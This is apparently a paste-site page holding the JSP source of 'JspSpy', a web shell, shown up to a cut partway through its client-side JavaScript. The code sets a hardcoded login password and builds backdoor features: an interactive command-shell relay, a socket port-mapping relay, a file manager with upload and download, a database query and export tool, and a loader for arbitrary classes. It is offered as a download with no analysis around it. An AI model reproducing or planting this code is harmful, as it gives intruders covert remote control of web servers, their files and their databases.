Facebook
From Violet Wigeon, 1 Year ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 123
  1. <%@page pageEncoding="utf-8"%>
  2. <%@page import="java.io.*"%>
  3. <%@page import="java.util.*"%>
  4. <%@page import="java.util.regex.*"%>
  5. <%@page import="java.sql.*"%>
  6. <%@page import="java.lang.reflect.*"%>
  7. <%@page import="java.nio.charset.*"%>
  8. <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
  9. <%@page import="java.text.*"%>
  10. <%@page import="java.net.*"%>
  11. <%@page import="java.util.zip.*"%>
  12. <%@page import="java.util.jar.*"%>
  13. <%@page import="java.awt.*"%>
  14. <%@page import="java.awt.image.*"%>
  15. <%@page import="javax.imageio.*"%>
  16. <%@page import="java.awt.datatransfer.DataFlavor"%>
  17. <%@page import="java.util.prefs.Preferences"%>
  18. <%@page import="javax.sql.DataSource"%>
  19. <%@page import="org.springframework.web.context.WebApplicationContext"%>
  20. <%@page import="org.springframework.web.context.support.WebApplicationContextUtils"%>
  21. <%!private static final String PW = "AdminAdmin.123"; //password
  22.         private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
  23.         private static final String REQUEST_CHARSET = "ISO-8859-1";
  24.         private static final String PAGE_CHARSET = "UTF-8";
  25.         private static final String CURRENT_DIR = "currentdir";
  26.         private static final String MSG = "SHOWMSG";
  27.         private static final String PORT_MAP = "PMSA";
  28.         private static final String DBO = "DBO";
  29.         private static final String SHELL_ONLINE = "SHELL_ONLINE";
  30.         private static final String ENTER = "ENTER_FILE";
  31.         private static final String ENTER_MSG = "ENTER_FILE_MSG";
  32.         private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
  33.         private static final String SESSION_O = "SESSION_O";
  34.         private static String SHELL_NAME = "";
  35.         private static String WEB_ROOT = null;
  36.         private static String SHELL_DIR = null;
  37.         public static Map ins = new HashMap();
  38.         private static boolean ISLINUX = false;
  39.        
  40.         private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
  41.         private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
  42.        
  43.         private static class MyRequest extends HttpServletRequestWrapper {
  44.                 public MyRequest(HttpServletRequest req) {
  45.                         super(req);
  46.                 }
  47.  
  48.                 public String getParameter(String name) {
  49.                         try {
  50.                                 String value = super.getParameter(name);
  51.                                 if (name == null)
  52.                                         return null;
  53.                                 return new String(value.getBytes(REQUEST_CHARSET), PAGE_CHARSET);
  54.                         } catch (Exception e) {
  55.                                 return null;
  56.                         }
  57.                 }
  58.         }
  59.  
  60.         private static class SpyClassLoader extends ClassLoader {
  61.                 public SpyClassLoader() {
  62.                 }
  63.  
  64.                 public Class defineClass(String name, byte[] b) {
  65.                         return super.defineClass(name, b, 0, b.length - 2);
  66.                 }
  67.         }
  68.  
  69.         private static class DBOperator implements Serializable {
  70.                 private Connection conn = null;
  71.                 private Statement stmt = null;
  72.                 private String driver;
  73.                 private String url;
  74.                 private String uid;
  75.                 private String pwd;
  76.                 private String dsStr;
  77.                 private DataSource dataSource;
  78.                 public DBOperator(DataSource dataSource,String dsStr,boolean connect){
  79.                         this.dataSource = dataSource;
  80.                         this.dsStr = dsStr;
  81.                         if (connect){
  82.                                 try{
  83.                                         this.conn = dataSource.getConnection();
  84.                                 }catch(SQLException e){
  85.                                         e.printStackTrace();
  86.                                 }
  87.                         }
  88.                                
  89.                 }
  90.                 public DBOperator(String driver, String url, String uid, String pwd)
  91.                                 throws Exception {
  92.                         this(driver, url, uid, pwd, false);
  93.                 }
  94.  
  95.                 public DBOperator(String driver, String url, String uid, String pwd,
  96.                                 boolean connect) throws Exception {
  97.                         Class.forName(driver);
  98.                         if (connect)
  99.                                 this.conn = DriverManager.getConnection(url, uid, pwd);
  100.                         this.url = url;
  101.                         this.driver = driver;
  102.                         this.uid = uid;
  103.                         this.pwd = pwd;
  104.                 }
  105.  
  106.                 public void connect() throws Exception {
  107.                         if(dataSource!=null){
  108.                                 this.conn = dataSource.getConnection();
  109.                         }else{
  110.                                 this.conn = DriverManager.getConnection(url, uid, pwd);
  111.                         }
  112.                 }
  113.  
  114.                 public Object execute(String sql) throws Exception {
  115.                         if (isValid()) {
  116.                                 stmt = conn.createStatement();
  117.                                 if (stmt.execute(sql)) {
  118.                                         return stmt.getResultSet();
  119.                                 } else {
  120.                                         return "" + stmt.getUpdateCount();
  121.                                 }
  122.                         }
  123.                         throw new Exception("Connection is inValid.");
  124.                 }
  125.  
  126.                 public void closeStmt() throws Exception {
  127.                         if (this.stmt != null)
  128.                                 stmt.close();
  129.                 }
  130.  
  131.                 public boolean isValid() throws Exception {
  132.                         return conn != null && !conn.isClosed();
  133.                 }
  134.  
  135.                 public void close() throws Exception {
  136.                         if (isValid()) {
  137.                                 closeStmt();
  138.                                 conn.close();
  139.                         }
  140.                 }
  141.  
  142.                 public boolean equals(Object o) {
  143.                         if (o instanceof DBOperator) {
  144.                                 DBOperator dbo = (DBOperator) o;
  145.                                 return this.driver.equals(dbo.driver)
  146.                                                 && this.url.equals(dbo.url) && this.uid.equals(dbo.uid)
  147.                                                 && this.pwd.equals(dbo.pwd);
  148.                         }
  149.                         return false;
  150.                 }
  151.  
  152.                 public Connection getConn() {
  153.                         return this.conn;
  154.                 }
  155.         }
  156.  
  157.         private static class StreamConnector extends Thread {
  158.                 private InputStream is;
  159.                 private OutputStream os;
  160.  
  161.                 public StreamConnector(InputStream is, OutputStream os) {
  162.                         this.is = is;
  163.                         this.os = os;
  164.                 }
  165.  
  166.                 public void run() {
  167.                         BufferedReader in = null;
  168.                         BufferedWriter out = null;
  169.                         try {
  170.                                 in = new BufferedReader(new InputStreamReader(this.is));
  171.                                 out = new BufferedWriter(new OutputStreamWriter(this.os));
  172.                                 char buffer[] = new char[8192];
  173.                                 int length;
  174.                                 while ((length = in.read(buffer, 0, buffer.length)) > 0) {
  175.                                         out.write(buffer, 0, length);
  176.                                         out.flush();
  177.                                 }
  178.                         } catch (Exception e) {
  179.                         }
  180.                         try {
  181.                                 if (in != null)
  182.                                         in.close();
  183.                                 if (out != null)
  184.                                         out.close();
  185.                         } catch (Exception e) {
  186.                         }
  187.                 }
  188.  
  189.                 public static void readFromLocal(final DataInputStream localIn,
  190.                                 final DataOutputStream remoteOut) {
  191.                         new Thread(new Runnable() {
  192.                                 public void run() {
  193.                                         while (true) {
  194.                                                 try {
  195.                                                         byte[] data = new byte[100];
  196.                                                         int len = localIn.read(data);
  197.                                                         while (len != -1) {
  198.                                                                 remoteOut.write(data, 0, len);
  199.                                                                 len = localIn.read(data);
  200.                                                         }
  201.                                                 } catch (Exception e) {
  202.                                                         break;
  203.                                                 }
  204.                                         }
  205.                                 }
  206.                         }).start();
  207.                 }
  208.  
  209.                 public static void readFromRemote(final Socket soc,
  210.                                 final Socket remoteSoc, final DataInputStream remoteIn,
  211.                                 final DataOutputStream localOut) {
  212.                         new Thread(new Runnable() {
  213.                                 public void run() {
  214.                                         while (true) {
  215.                                                 try {
  216.                                                         byte[] data = new byte[100];
  217.                                                         int len = remoteIn.read(data);
  218.                                                         while (len != -1) {
  219.                                                                 localOut.write(data, 0, len);
  220.                                                                 len = remoteIn.read(data);
  221.                                                         }
  222.                                                 } catch (Exception e) {
  223.                                                         try {
  224.                                                                 soc.close();
  225.                                                                 remoteSoc.close();
  226.                                                         } catch (Exception ex) {
  227.                                                         }
  228.                                                         break;
  229.                                                 }
  230.                                         }
  231.                                 }
  232.                         }).start();
  233.                 }
  234.         }
  235.  
  236.         private static class EnterFile extends File {
  237.                 private ZipFile zf = null;
  238.                 private ZipEntry entry = null;
  239.                 private boolean isDirectory = false;
  240.                 private String absolutePath = null;
  241.  
  242.                 public void setEntry(ZipEntry e) {
  243.                         this.entry = e;
  244.                 }
  245.  
  246.                 public void setAbsolutePath(String p) {
  247.                         this.absolutePath = p;
  248.                 }
  249.  
  250.                 public void close() throws Exception {
  251.                         this.zf.close();
  252.                 }
  253.  
  254.                 public void setZf(String p) throws Exception {
  255.                         if (p.toLowerCase().endsWith(".jar"))
  256.                                 this.zf = new JarFile(p);
  257.                         else
  258.                                 this.zf = new ZipFile(p);
  259.                 }
  260.  
  261.                 public EnterFile(File parent, String child) {
  262.                         super(parent, child);
  263.                 }
  264.  
  265.                 public EnterFile(String pathname) {
  266.                         super(pathname);
  267.                 }
  268.  
  269.                 public EnterFile(String pathname, boolean isDir) {
  270.                         this(pathname);
  271.                         this.isDirectory = isDir;
  272.                 }
  273.  
  274.                 public EnterFile(String parent, String child) {
  275.                         super(parent, child);
  276.                 }
  277.  
  278.                 public EnterFile(URI uri) {
  279.                         super(uri);
  280.                 }
  281.  
  282.                 public boolean exists() {
  283.                         return new File(this.zf.getName()).exists();
  284.                 }
  285.  
  286.                 public File[] listFiles() {
  287.                         java.util.List list = new ArrayList();
  288.                         java.util.List handled = new ArrayList();
  289.                         String currentDir = super.getPath();
  290.                         currentDir = currentDir.replace('\\', '/');
  291.                         if (currentDir.indexOf("/") == 0) {
  292.                                 if (currentDir.length() > 1)
  293.                                         currentDir = currentDir.substring(1);
  294.                                 else
  295.                                         currentDir = "";
  296.                         }
  297.                         Enumeration e = this.zf.entries();
  298.                         while (e.hasMoreElements()) {
  299.                                 ZipEntry entry = (ZipEntry) e.nextElement();
  300.                                 String eName = entry.getName();
  301.                                 if (this.zf instanceof JarFile) {
  302.                                         if (!entry.isDirectory()) {
  303.                                                 EnterFile ef = new EnterFile(eName);
  304.                                                 ef.setEntry(entry);
  305.                                                 try {
  306.                                                         ef.setZf(this.zf.getName());
  307.                                                 } catch (Exception ex) {
  308.                                                 }
  309.                                                 list.add(ef);
  310.                                         }
  311.                                 } else {
  312.                                         if (currentDir.equals("")) {
  313.                                                 //zip root directory
  314.                                                 if (eName.indexOf("/") == -1
  315.                                                                 || eName.matches("[^/]+/$")) {
  316.                                                         EnterFile ef = new EnterFile(eName.replaceAll("/",
  317.                                                                         ""));
  318.                                                         handled.add(eName.replaceAll("/", ""));
  319.                                                         ef.setEntry(entry);
  320.                                                         list.add(ef);
  321.                                                 } else {
  322.                                                         if (eName.indexOf("/") != -1) {
  323.                                                                 String tmp = eName.substring(0, eName
  324.                                                                                 .indexOf("/"));
  325.                                                                 if (!handled.contains(tmp)
  326.                                                                                 && !Util.isEmpty(tmp)) {
  327.                                                                         EnterFile ef = new EnterFile(tmp, true);
  328.                                                                         ef.setEntry(entry);
  329.                                                                         list.add(ef);
  330.                                                                         handled.add(tmp);
  331.                                                                 }
  332.                                                         }
  333.                                                 }
  334.                                         } else {
  335.                                                 if (eName.startsWith(currentDir)) {
  336.                                                         if (eName.matches(currentDir + "/[^/]+/?$")) {
  337.                                                                 //file.
  338.                                                                 EnterFile ef = new EnterFile(eName);
  339.                                                                 ef.setEntry(entry);
  340.                                                                 list.add(ef);
  341.                                                                 if (eName.endsWith("/")) {
  342.                                                                         String tmp = eName.substring(eName
  343.                                                                                         .lastIndexOf('/',
  344.                                                                                                         eName.length() - 2));
  345.                                                                         tmp = tmp.substring(1, tmp.length() - 1);
  346.                                                                         handled.add(tmp);
  347.                                                                 }
  348.                                                         } else {
  349.                                                                 //dir
  350.                                                                 try {
  351.                                                                         String tmp = eName.substring(currentDir
  352.                                                                                         .length() + 1);
  353.                                                                         tmp = tmp.substring(0, tmp.indexOf('/'));
  354.                                                                         if (!handled.contains(tmp)
  355.                                                                                         && !Util.isEmpty(tmp)) {
  356.                                                                                 EnterFile ef = new EnterFile(tmp, true);
  357.                                                                                 ef.setAbsolutePath(currentDir + "/"
  358.                                                                                                 + tmp);
  359.                                                                                 ef.setEntry(entry);
  360.                                                                                 list.add(ef);
  361.                                                                                 handled.add(tmp);
  362.                                                                         }
  363.                                                                 } catch (Exception ex) {
  364.                                                                 }
  365.                                                         }
  366.                                                 }
  367.                                         }
  368.                                 }
  369.                         }
  370.                         return (File[]) list.toArray(new File[0]);
  371.                 }
  372.  
  373.                 public boolean isDirectory() {
  374.                         return this.entry.isDirectory() || this.isDirectory;
  375.                 }
  376.  
  377.                 public String getParent() {
  378.                         return "";
  379.                 }
  380.  
  381.                 public String getAbsolutePath() {
  382.                         return absolutePath != null ? absolutePath : super.getPath();
  383.                 }
  384.  
  385.                 public String getName() {
  386.                         if (this.zf instanceof JarFile) {
  387.                                 return this.getAbsolutePath();
  388.                         } else {
  389.                                 return super.getName();
  390.                         }
  391.                 }
  392.  
  393.                 public long lastModified() {
  394.                         return entry.getTime();
  395.                 }
  396.  
  397.                 public boolean canRead() {
  398.                         return false;
  399.                 }
  400.  
  401.                 public boolean canWrite() {
  402.                         return false;
  403.                 }
  404.  
  405.                 public boolean canExecute() {
  406.                         return false;
  407.                 }
  408.  
  409.                 public long length() {
  410.                         return entry.getSize();
  411.                 }
  412.         }
  413.  
  414.         private static class OnLineProcess {
  415.                 private String cmd = "first";
  416.                 private Process pro;
  417.  
  418.                 public OnLineProcess(Process p) {
  419.                         this.pro = p;
  420.                 }
  421.  
  422.                 public void setPro(Process p) {
  423.                         this.pro = p;
  424.                 }
  425.  
  426.                 public void setCmd(String c) {
  427.                         this.cmd = c;
  428.                 }
  429.  
  430.                 public String getCmd() {
  431.                         return this.cmd;
  432.                 }
  433.  
  434.                 public Process getPro() {
  435.                         return this.pro;
  436.                 }
  437.  
  438.                 public void stop() {
  439.                         this.pro.destroy();
  440.                 }
  441.         }
  442.  
  443.         private static class OnLineConnector extends Thread {
  444.                 private OnLineProcess ol = null;
  445.                 private InputStream is;
  446.                 private OutputStream os;
  447.                 private String name;
  448.  
  449.                 public OnLineConnector(InputStream is, OutputStream os, String name,
  450.                                 OnLineProcess ol) {
  451.                         this.is = is;
  452.                         this.os = os;
  453.                         this.name = name;
  454.                         this.ol = ol;
  455.                 }
  456.  
  457.                 public void run() {
  458.                         BufferedReader in = null;
  459.                         BufferedWriter out = null;
  460.                         try {
  461.                                 in = new BufferedReader(new InputStreamReader(this.is));
  462.                                 out = new BufferedWriter(new OutputStreamWriter(this.os));
  463.                                 char buffer[] = new char[128];
  464.                                 if (this.name.equals("exeRclientO")) {
  465.                                         //from exe to client
  466.                                         int length = 0;
  467.                                         while ((length = in.read(buffer, 0, buffer.length)) > 0) {
  468.                                                 String str = new String(buffer, 0, length);
  469.                                                 str = str.replaceAll("&", "&amp;").replaceAll("<",
  470.                                                                 "&lt;").replaceAll(">", "&gt;");
  471.                                                 str = str.replaceAll("" + (char) 13 + (char) 10,
  472.                                                                 "<br/>");
  473.                                                 str = str.replaceAll("\n", "<br/>");
  474.                                                 out.write(str.toCharArray(), 0, str.length());
  475.                                                 out.flush();
  476.                                         }
  477.                                 } else {
  478.                                         //from client to exe
  479.                                         while (true) {
  480.                                                 while (this.ol.getCmd() == null) {
  481.                                                         Thread.sleep(500);
  482.                                                 }
  483.                                                 if (this.ol.getCmd().equals("first")) {
  484.                                                         this.ol.setCmd(null);
  485.                                                         continue;
  486.                                                 }
  487.                                                 this.ol.setCmd(this.ol.getCmd() + (char) 10);
  488.                                                 char[] arr = this.ol.getCmd().toCharArray();
  489.                                                 out.write(arr, 0, arr.length);
  490.                                                 out.flush();
  491.                                                 this.ol.setCmd(null);
  492.                                         }
  493.                                 }
  494.                         } catch (Exception e) {
  495.                         }
  496.                         try {
  497.                                 if (in != null)
  498.                                         in.close();
  499.                                 if (out != null)
  500.                                         out.close();
  501.                         } catch (Exception e) {
  502.                         }
  503.                 }
  504.         }
  505.  
  506.         private static class Table {
  507.                 private ArrayList rows = null;
  508.                 private boolean echoTableTag = false;
  509.  
  510.                 public void setEchoTableTag(boolean v) {
  511.                         this.echoTableTag = v;
  512.                 }
  513.  
  514.                 public Table() {
  515.                         this.rows = new ArrayList();
  516.                 }
  517.  
  518.                 public void addRow(Row r) {
  519.                         this.rows.add(r);
  520.                 }
  521.  
  522.                 public String toString() {
  523.                         StringBuffer html = new StringBuffer();
  524.                         if (echoTableTag)
  525.                                 html.append("<table>");
  526.                         for (int i = 0; i < rows.size(); i++) {
  527.                                 Row r = (Row) rows.get(i);
  528.                                 html
  529.                                                 .append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  530.                                 ArrayList columns = r.getColumns();
  531.                                 for (int a = 0; a < columns.size(); a++) {
  532.                                         Column c = (Column) columns.get(a);
  533.                                         html.append("<td nowrap>");
  534.                                         String vv = Util.htmlEncode(Util.getStr(c.getValue()));
  535.                                         if (vv.equals(""))
  536.                                                 vv = "&nbsp;";
  537.                                         html.append(vv);
  538.                                         html.append("</td>");
  539.                                 }
  540.                                 html.append("</tr>");
  541.                         }
  542.                         if (echoTableTag)
  543.                                 html.append("</table>");
  544.                         return html.toString();
  545.                 }
  546.  
  547.                 public static String rs2Table(ResultSet rs, String sep, boolean op)
  548.                                 throws Exception {
  549.                         StringBuffer table = new StringBuffer();
  550.                         ResultSetMetaData meta = rs.getMetaData();
  551.                         int count = meta.getColumnCount();
  552.                         if (!op)
  553.                                 table
  554.                                                 .append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
  555.                         else
  556.                                 table
  557.                                                 .append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
  558.                         table
  559.                                         .append("<script>function view(t){document.getElementById('sql').value='select * from "
  560.                                                         + sep + "'+t+'" + sep + "';}</script>");
  561.                         table
  562.                                         .append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  563.                         for (int i = 1; i <= count; i++) {
  564.                                 table.append("<td nowrap>" + meta.getColumnName(i) + "</td>");
  565.                         }
  566.                         if (op)
  567.                                 table.append("<td>&nbsp;</td>");
  568.                         table.append("</tr>");
  569.                         while (rs.next()) {
  570.                                 String tbName = null;
  571.                                 table
  572.                                                 .append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  573.                                 for (int i = 1; i <= count; i++) {
  574.                                         String v = rs.getString(i);
  575.                                         if (i == 3)
  576.                                                 tbName = v;
  577.                                         table.append("<td nowrap>" + Util.null2Nbsp(v) + "</td>");
  578.                                 }
  579.                                 if (op)
  580.                                         table
  581.                                                         .append("<td nowrap> <a href=\"#\" onclick=\"view('"
  582.                                                                         + tbName
  583.                                                                         + "')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"
  584.                                                                         + tbName
  585.                                                                         + "'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"
  586.                                                                         + tbName
  587.                                                                         + "'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"
  588.                                                                         + tbName + "'})\">Save To File</a> </td>");
  589.                                 table.append("</tr>");
  590.                         }
  591.                         table.append("</table><br/>");
  592.                         return table.toString();
  593.                 }
  594.         }
  595.  
  596.         private static class Row {
  597.                 private ArrayList cols = null;
  598.  
  599.                 public Row() {
  600.                         this.cols = new ArrayList();
  601.                 }
  602.  
  603.                 public void addColumn(Column n) {
  604.                         this.cols.add(n);
  605.                 }
  606.  
  607.                 public ArrayList getColumns() {
  608.                         return this.cols;
  609.                 }
  610.         }
  611.  
  612.         private static class Column {
  613.                 private String value;
  614.  
  615.                 public Column(String v) {
  616.                         this.value = v;
  617.                 }
  618.  
  619.                 public String getValue() {
  620.                         return this.value;
  621.                 }
  622.         }
  623.  
  624.         private static class Util {
  625.                 public static boolean isEmpty(String s) {
  626.                         return s == null || s.trim().equals("");
  627.                 }
  628.  
  629.                 public static boolean isEmpty(Object o) {
  630.                         return o == null || isEmpty(o.toString());
  631.                 }
  632.  
  633.                 public static String getSize(long size, char danwei) {
  634.                         if (danwei == 'M') {
  635.                                 double v = formatNumber(size / 1024.0 / 1024.0, 2);
  636.                                 if (v > 1024) {
  637.                                         return getSize(size, 'G');
  638.                                 } else {
  639.                                         return v + "M";
  640.                                 }
  641.                         } else if (danwei == 'G') {
  642.                                 return formatNumber(size / 1024.0 / 1024.0 / 1024.0, 2) + "G";
  643.                         } else if (danwei == 'K') {
  644.                                 double v = formatNumber(size / 1024.0, 2);
  645.                                 if (v > 1024) {
  646.                                         return getSize(size, 'M');
  647.                                 } else {
  648.                                         return v + "K";
  649.                                 }
  650.                         } else if (danwei == 'B') {
  651.                                 if (size > 1024) {
  652.                                         return getSize(size, 'K');
  653.                                 } else {
  654.                                         return size + "B";
  655.                                 }
  656.                         }
  657.                         return "" + 0 + danwei;
  658.                 }
  659.  
  660.                 public static boolean exists(String[] arr, String v) {
  661.                         for (int i = 0; i < arr.length; i++) {
  662.                                 if (v.equals(arr[i])) {
  663.                                         return true;
  664.                                 }
  665.                         }
  666.                         return false;
  667.                 }
  668.  
  669.                 public static double formatNumber(double value, int l) {
  670.                         NumberFormat format = NumberFormat.getInstance();
  671.                         format.setMaximumFractionDigits(l);
  672.                         format.setGroupingUsed(false);
  673.                         return new Double(format.format(value)).doubleValue();
  674.                 }
  675.  
  676.                 public static boolean isInteger(String v) {
  677.                         if (isEmpty(v))
  678.                                 return false;
  679.                         return v.matches("^\\d+$");
  680.                 }
  681.  
  682.                 public static String formatDate(long time) {
  683.                         SimpleDateFormat format = new SimpleDateFormat(
  684.                                         "yyyy-MM-dd hh:mm:ss");
  685.                         return format.format(new java.util.Date(time));
  686.                 }
  687.  
  688.                 public static String convertPath(String path) {
  689.                         return path != null ? path.replace('\\', '/') : "";
  690.                 }
  691.  
  692.                 public static String htmlEncode(String v) {
  693.                         if (isEmpty(v))
  694.                                 return "";
  695.                         return v.replaceAll("&", "&amp;").replaceAll("<", "&lt;")
  696.                                         .replaceAll(">", "&gt;");
  697.                 }
  698.  
  699.                 public static String getStr(String s) {
  700.                         return s == null ? "" : s;
  701.                 }
  702.  
  703.                 public static String null2Nbsp(String s) {
  704.                         if (s == null)
  705.                                 s = "&nbsp;";
  706.                         return s;
  707.                 }
  708.  
  709.                 public static String getStr(Object s) {
  710.                         return s == null ? "" : s.toString();
  711.                 }
  712.  
  713.                 public static String exec(String regex, String str, int group) {
  714.                         Pattern pat = Pattern.compile(regex);
  715.                         Matcher m = pat.matcher(str);
  716.                         if (m.find())
  717.                                 return m.group(group);
  718.                         return null;
  719.                 }
  720.  
  721.                 public static void outMsg(Writer out, String msg) throws Exception {
  722.                         outMsg(out, msg, "center");
  723.                 }
  724.  
  725.                 public static void outMsg(Writer out, String msg, String align)
  726.                                 throws Exception {
  727.                         out
  728.                                         .write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"
  729.                                                         + align
  730.                                                         + ";font-weight:bold;margin:10px\">"
  731.                                                         + msg
  732.                                                         + "</div>");
  733.                 }
  734.  
  735.                 public static String highLight(String str) {
  736.                         str = str
  737.                                         .replaceAll(
  738.                                                         "\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b",
  739.                                                         "<span style='color:blue'>$1</span>");
  740.                         str = str.replaceAll("\t(//.+)",
  741.                                         "\t<span style='color:green'>$1</span>");
  742.                         return str;
  743.                 }
  744.         }
  745.  
  746.         private static class UploadBean {
  747.                 private String fileName = null;
  748.                 private String suffix = null;
  749.                 private String savePath = "";
  750.                 private ServletInputStream sis = null;
  751.                 private OutputStream targetOutput = null;
  752.                 private byte[] b = new byte[1024];
  753.  
  754.                 public void setTargetOutput(OutputStream stream) {
  755.                         this.targetOutput = stream;
  756.                 }
  757.  
  758.                 public UploadBean() {
  759.                 }
  760.  
  761.                 public void setSavePath(String path) {
  762.                         this.savePath = path;
  763.                 }
  764.  
  765.                 public String getFileName() {
  766.                         return this.fileName;
  767.                 }
  768.  
  769.                 public void parseRequest(HttpServletRequest request) throws IOException {
  770.                         sis = request.getInputStream();
  771.                         int a = 0;
  772.                         int k = 0;
  773.                         String s = "";
  774.                         while ((a = sis.readLine(b, 0, b.length)) != -1) {
  775.                                 s = new String(b, 0, a, PAGE_CHARSET);
  776.                                 if ((k = s.indexOf("filename=\"")) != -1) {
  777.                                         s = s.substring(k + 10);
  778.                                         k = s.indexOf("\"");
  779.                                         s = s.substring(0, k);
  780.                                         File tF = new File(s);
  781.                                         if (tF.isAbsolute()) {
  782.                                                 fileName = tF.getName();
  783.                                         } else {
  784.                                                 fileName = s;
  785.                                         }
  786.                                         k = s.lastIndexOf(".");
  787.                                         suffix = s.substring(k + 1);
  788.                                         upload();
  789.                                 }
  790.                         }
  791.                 }
  792.  
  793.                 private void upload() throws IOException {
  794.                         try {
  795.                                 OutputStream out = null;
  796.                                 if (this.targetOutput != null)
  797.                                         out = this.targetOutput;
  798.                                 else
  799.                                         out = new FileOutputStream(new File(savePath, fileName));
  800.                                 int a = 0;
  801.                                 int k = 0;
  802.                                 String s = "";
  803.                                 while ((a = sis.readLine(b, 0, b.length)) != -1) {
  804.                                         s = new String(b, 0, a);
  805.                                         if ((k = s.indexOf("Content-Type:")) != -1) {
  806.                                                 break;
  807.                                         }
  808.                                 }
  809.                                 sis.readLine(b, 0, b.length);
  810.                                 while ((a = sis.readLine(b, 0, b.length)) != -1) {
  811.                                         s = new String(b, 0, a);
  812.                                         if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45)
  813.                                                         && (b[3] == 45) && (b[4] == 45)) {
  814.                                                 break;
  815.                                         }
  816.                                         out.write(b, 0, a);
  817.                                 }
  818.                                 if (out instanceof FileOutputStream)
  819.                                         out.close();
  820.                         } catch (IOException ioe) {
  821.                                 throw ioe;
  822.                         }
  823.                 }
  824.         }%>
  825. <%
  826.  
  827.         SHELL_NAME = request.getServletPath().substring(
  828.                         request.getServletPath().lastIndexOf("/") + 1);
  829.         String myAbsolutePath = application.getRealPath(request
  830.                         .getServletPath());
  831.         if (Util.isEmpty(myAbsolutePath)) {//for weblogic
  832.                 SHELL_NAME = request.getServletPath();
  833.                 myAbsolutePath = new File(application.getResource("/")
  834.                                 .getPath()
  835.                                 + SHELL_NAME).toString();
  836.                 SHELL_NAME = request.getContextPath() + SHELL_NAME;
  837.                 WEB_ROOT = new File(application.getResource("/").getPath())
  838.                                 .toString();
  839.         } else {
  840.                 WEB_ROOT = application.getRealPath("/");
  841.         }
  842.         SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,
  843.                         myAbsolutePath.lastIndexOf(File.separator)));
  844.         if (SHELL_DIR.indexOf('/') == 0)
  845.                 ISLINUX = true;
  846.         else
  847.                 ISLINUX = false;
  848.         if (session.getAttribute(CURRENT_DIR) == null)
  849.                 session.setAttribute(CURRENT_DIR, Util.convertPath(SHELL_DIR));
  850.         //request = new MyRequest(request);
  851.         if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null
  852.                         || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
  853.                 String o = request.getParameter("o");
  854.                 if(o != null)
  855.                         o = new String(o.getBytes(REQUEST_CHARSET), PAGE_CHARSET);
  856.                 if (o != null && o.equals("login")) {
  857.                         ((Invoker) ins.get("login")).invoke(request, response,
  858.                                         session);
  859.                         return;
  860.                 } else if (o != null && o.equals("vLogin")) {
  861.                         ((Invoker) ins.get("vLogin")).invoke(request, response,
  862.                                         session);
  863.                         return;
  864.                 } else {
  865.                         ((Invoker) ins.get("vLogin")).invoke(request, response,
  866.                                         session);
  867.                         return;
  868.                 }
  869.         }
  870. %>
  871. <%!private static interface Invoker {
  872.                 public void invoke(HttpServletRequest request,
  873.                                 HttpServletResponse response, HttpSession JSession)
  874.                                 throws Exception;
  875.  
  876.                 public boolean doBefore();
  877.  
  878.                 public boolean doAfter();
  879.         }
  880.  
  881.         private static class DefaultInvoker implements Invoker {
  882.                 public void invoke(HttpServletRequest request,
  883.                                 HttpServletResponse response, HttpSession JSession)
  884.                                 throws Exception {
  885.                 }
  886.  
  887.                 public boolean doBefore() {
  888.                         return true;
  889.                 }
  890.  
  891.                 public boolean doAfter() {
  892.                         return true;
  893.                 }
  894.         }
  895.  
  896.         private static class ScriptInvoker extends DefaultInvoker {
  897.                 public void invoke(HttpServletRequest request,
  898.                                 HttpServletResponse response, HttpSession JSession)
  899.                                 throws Exception {
  900.                         try {
  901.                                 PrintWriter out = response.getWriter();
  902.                                 out
  903.                                                 .println("<script type=\"text/javascript\">"
  904.                                                                 + "     String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"
  905.                                                                 + "     function fso(obj) {"
  906.                                                                 + "             this.currentDir = '"
  907.                                                                 + JSession.getAttribute(CURRENT_DIR)
  908.                                                                 + "';"
  909.                                                                 + "             this.filename = obj.filename;"
  910.                                                                 + "             this.path = obj.path;"
  911.                                                                 + "             this.filetype = obj.filetype;"
  912.                                                                 + "             this.charset = obj.charset;"
  913.                                                                 + "     };"
  914.                                                                 + "     fso.prototype = {"
  915.                                                                 + "             copy:function(){"
  916.                                                                 + "                     var path = prompt('Copy To : ',this.path);"
  917.                                                                 + "                     if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"
  918.                                                                 + "                     doPost({o:'copy',src:this.path,to:path});"
  919.                                                                 + "             },"
  920.                                                                 + "             move:function() {"
  921.                                                                 + "                     var path =prompt('Move To : ',this.path);"
  922.                                                                 + "                     if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"
  923.                                                                 + "                     doPost({o:'move',src:this.path,to:path})"
  924.                                                                 + "             },"
  925.                                                                 + "             vEdit:function() {"
  926.                                                                 + "                     if (!this.charset)"
  927.                                                                 + "                             doPost({o:'vEdit',filepath:this.path});"
  928.                                                                 + "                     else"
  929.                                                                 + "                             doPost({o:'vEdit',filepath:this.path,charset:this.charset});"
  930.                                                                 + "             },"
  931.                                                                 + "             down:function() {"
  932.                                                                 + "                     doPost({o:'down',path:this.path})"
